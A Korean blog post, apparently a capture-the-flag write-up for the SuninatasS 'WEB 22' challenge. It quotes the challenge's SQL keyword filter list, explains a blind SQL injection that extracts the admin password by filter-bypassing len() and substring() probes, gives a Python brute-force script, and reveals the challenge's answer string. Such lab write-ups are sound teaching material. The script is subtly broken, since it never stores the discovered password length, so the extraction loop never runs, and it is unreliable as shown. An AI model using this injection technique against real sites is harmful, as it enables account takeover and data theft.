write-up(web)/misc

[suninatas] WEB 22

chanchand 2023. 10. 27. 17:30
반응형

문제


 

Game 22

select / Union / or / white space / by / having from / char / ascii / left / right / delay / 0x ..........

suninatas.com

 

 

문제풀이


blind injection 문제로, 아이디는 admin이고, pw를 알아내야 한다.

 

'--' 주석을 이용하여 id가 admin인 계정을 출력할 수 있다.

and 문자열을 이용해 1=1 부분에 원하는 쿼리문을 작성할 수 있다.

len(pw)={pw_len} 을 이용하여 비밀번호의 길이를 알아낼 수 있다.

 

substring({pw}, 1, 1)='' 을 이용하여 비밀번호의 문자를 하나씩 알아낼 수 있다.

 

- python

import requests

pw_len = 0
for i in range(1, 20):
	url = f"http://suninatas.com/challenge/web22/web22.asp?id=admin'and%0blen(pw)={i}--&pw=123"
	res = requests.get(url)
	if res.text.find("<font size=4 color=blue>") != -1:
		print(f"pw_len:{i}")
		break

        
pw = ""	
for i in range(1, pw_len + 1):
	for j in range(33, 127):
		url = f"http://suninatas.com/challenge/web22/web22.asp?id=admin'and%0bsubstring(pw,{i},1)='{chr(j)}'--&pw=123"
		res = requests.get(url)
		
		if res.text.find("<font size=4 color=blue>") != -1:
			pw += chr(j)
			print(f"pw:{i}-{chr(j)}")
			break
print(pw)

 

N1c3Bilnl) 문자열을 auth 페이지에서 입력하면 문제가 해결된다.

반응형

'write-up(web) > misc' 카테고리의 다른 글

[alert(1) to win] Warmup - Markdown (ing)  (0) 2023.11.28
[suninatas] WEB 23  (0) 2023.10.27
[suninatas] WEB 8  (1) 2023.10.26
[suninatas] WEB 7  (0) 2023.10.26
[suninatas] WEB 6  (0) 2023.10.26